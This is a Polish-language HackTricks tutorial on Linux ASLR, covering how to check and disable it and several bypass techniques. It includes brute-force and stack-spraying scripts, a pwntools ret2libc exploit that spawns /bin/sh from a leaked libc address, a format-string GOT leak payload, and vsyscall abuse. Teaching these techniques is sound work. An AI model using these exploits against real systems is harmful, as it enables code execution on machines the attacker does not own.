ASLR

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podstawowe informacje

Randomizacja układu przestrzeni adresowej (ASLR) to technika bezpieczeństwa stosowana w systemach operacyjnych do losowego rozmieszczania adresów pamięci używanych przez procesy systemowe i aplikacje. Dzięki temu znacznie utrudnia się przewidywanie lokalizacji konkretnych procesów i danych przez atakującego, takich jak stos, sterta i biblioteki, co zmniejsza ryzyko pewnych rodzajów ataków, zwłaszcza przepełnień bufora.

Sprawdzanie stanu ASLR

Aby sprawdzić stan ASLR w systemie Linux, można odczytać wartość z pliku /proc/sys/kernel/randomize_va_space. Wartość przechowywana w tym pliku określa rodzaj zastosowanej randomizacji ASLR:

  • 0: Brak losowości. Wszystko jest statyczne.

  • 1: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są losowo rozmieszczane.

  • 2: Pełna randomizacja. Oprócz elementów losowo rozmieszczanych przez konserwatywną randomizację, pamięć zarządzana przez brk() jest losowo rozmieszczana.

Możesz sprawdzić stan ASLR za pomocą następującej komendy:

cat /proc/sys/kernel/randomize_va_space

Wyłączanie ASLR

Aby wyłączyć ASLR, ustaw wartość /proc/sys/kernel/randomize_va_space na 0. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Możesz również wyłączyć ASLR dla wykonania za pomocą:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Włączanie ASLR

Aby włączyć ASLR, można zapisać wartość 2 do pliku /proc/sys/kernel/randomize_va_space. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Trwałość po ponownym uruchomieniu

Zmiany dokonane za pomocą poleceń echo są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik /etc/sysctl.conf i dodać lub zmodyfikować następującą linijkę:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Po edycji pliku /etc/sysctl.conf zastosuj zmiany za pomocą:

sudo sysctl -p

To zapewni, że ustawienia ASLR pozostaną po ponownym uruchomieniu.

Bypassy

Brutalne narzucanie 32-bitowe

PaX dzieli przestrzeń adresową procesu na 3 grupy:

  • Kod i dane (zainicjowane i niezainicjowane): .text, .data i .bss —> 16 bitów entropii w zmiennej delta_exec. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.

  • Pamięć przydzielana przez mmap() i biblioteki współdzielone —> 16 bitów, nazwana delta_mmap.

  • Stos —> 24 bity, oznaczane jako delta_stack. Jednakże faktycznie używa 11 bitów (od 10. do 20. bajtu włącznie), wyrównanych do 16 bajtów —> Skutkuje to w 524,288 możliwych rzeczywistych adresów stosu.

Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia umożliwia obejście ASLR poprzez wielokrotne ponawianie prób wykonania, aż atak się powiedzie.

Pomysły na brutalne narzucanie:

  • Jeśli masz wystarczająco dużo miejsca na przepełnienie, aby pomieścić duży ślizg NOP przed kodem powłoki, możesz po prostu brutalnie narzucić adresy na stosie, aż przepływ przeskoczy część ślizgu NOP.

  • Inną opcją w przypadku gdy przepełnienie nie jest tak duże, a atak może być uruchomiony lokalnie, jest możliwość dodania ślizgu NOP i kodu powłoki do zmiennej środowiskowej.

  • Jeśli atak jest lokalny, możesz spróbować brutalnie narzucić bazowy adres libc (przydatne dla systemów 32-bitowych):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Jeśli atakujesz zdalny serwer, możesz spróbować przemęczyć adres funkcji usleep z biblioteki libc, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie serwer potrzebuje dodatkowych 10 sekund na odpowiedź, znalazłeś adres tej funkcji.

W systemach 64-bitowych entropia jest znacznie wyższa i to nie powinno być możliwe.

Przemęczanie stosu 64 bitów

Możliwe jest zajęcie dużej części stosu zmiennymi środowiskowymi, a następnie próba wielokrotnego nadużycia binariów setki/tysiące razy lokalnie, aby je wykorzystać. Poniższy kod pokazuje, jak można wybrać adres na stosie i co kilka setek wykonania ten adres będzie zawierał instrukcję NOP:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Lokalne informacje (/proc/[pid]/stat)

Plik /proc/[pid]/stat procesu jest zawsze czytelny dla wszystkich i zawiera interesujące informacje takie jak:

  • startcode & endcode: Adresy powyżej i poniżej z sekcją TEXT binariów

  • startstack: Adres początku stosu

  • start_data & end_data: Adresy powyżej i poniżej gdzie znajduje się BSS

  • kstkesp & kstkeip: Aktualne adresy ESP i EIP

  • arg_start & arg_end: Adresy powyżej i poniżej gdzie znajdują się argumenty wiersza poleceń

  • env_start & env_end: Adresy powyżej i poniżej gdzie znajdują się zmienne środowiskowe

Dlatego jeśli atakujący znajduje się w tym samym komputerze co binarny plik podatny na atak i ten plik nie oczekuje przepełnienia z surowych argumentów, ale z innego wejścia, które można stworzyć po odczytaniu tego pliku. Dla atakującego jest możliwe uzyskanie pewnych adresów z tego pliku i skonstruowanie z nich przesunięć dla exploitu.

Aby uzyskać więcej informacji na temat tego pliku, sprawdź https://man7.org/linux/man-pages/man5/proc.5.html szukając /proc/pid/stat

Posiadanie wycieku

  • Wyzwaniem jest dostarczenie wycieku

Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc używaną w systemie, który jest wykorzystywany). Ten przykładowy exploit jest wyodrębniony z przykładu stąd (sprawdź tę stronę dla więcej szczegółów):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Wykorzystując przepełnienie bufora można wykorzystać ret2plt do wycieku adresu funkcji z biblioteki libc. Sprawdź:

pageRet2plt
  • Format Strings Arbitrary Read

Tak jak w przypadku ret2plt, jeśli masz arbitralne odczyt poprzez podatność na ciągi formatujące, można wyciec adres funkcji z biblioteki libc z GOT. Następujący przykład pochodzi stąd:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Możesz znaleźć więcej informacji na temat arbitralnego odczytu łańcuchów formatujących w:

pageFormat Strings

Ret2ret & Ret2pop

Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:

pageRet2ret & Reo2pop

vsyscall

Mechanizm vsyscall służy do poprawy wydajności, pozwalając na wykonanie pewnych wywołań systemowych w przestrzeni użytkownika, chociaż są one fundamentalnie częścią jądra. Krytyczną zaletą vsyscalls jest ich stały adres, który nie podlega ASLR (losowej alokacji przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku. Jednakże tutaj nie znajdziesz zbyt interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika ret;)

(Poniższy przykład i kod pochodzi z tego opisu)

Na przykład, atakujący może użyć adresu 0xffffffffff600800 w ataku. Podczas próby skoku bezpośrednio do instrukcji ret może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok na początek syscall dostarczany przez sekcję vsyscall może okazać się skuteczny. Starannie umieszczając gadżet ROP, który prowadzi wykonanie do tego adresu vsyscall, atakujący może osiągnąć wykonanie kodu bez konieczności omijania ASLR dla tej części ataku.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Zauważ, jak można obejść ASLR nadużywając vdso, jeśli jądro jest skompilowane z CONFIG_COMPAT_VDSO, ponieważ adres vdso nie będzie losowy. Aby uzyskać więcej informacji, sprawdź:

pageRet2vDSO

Last updated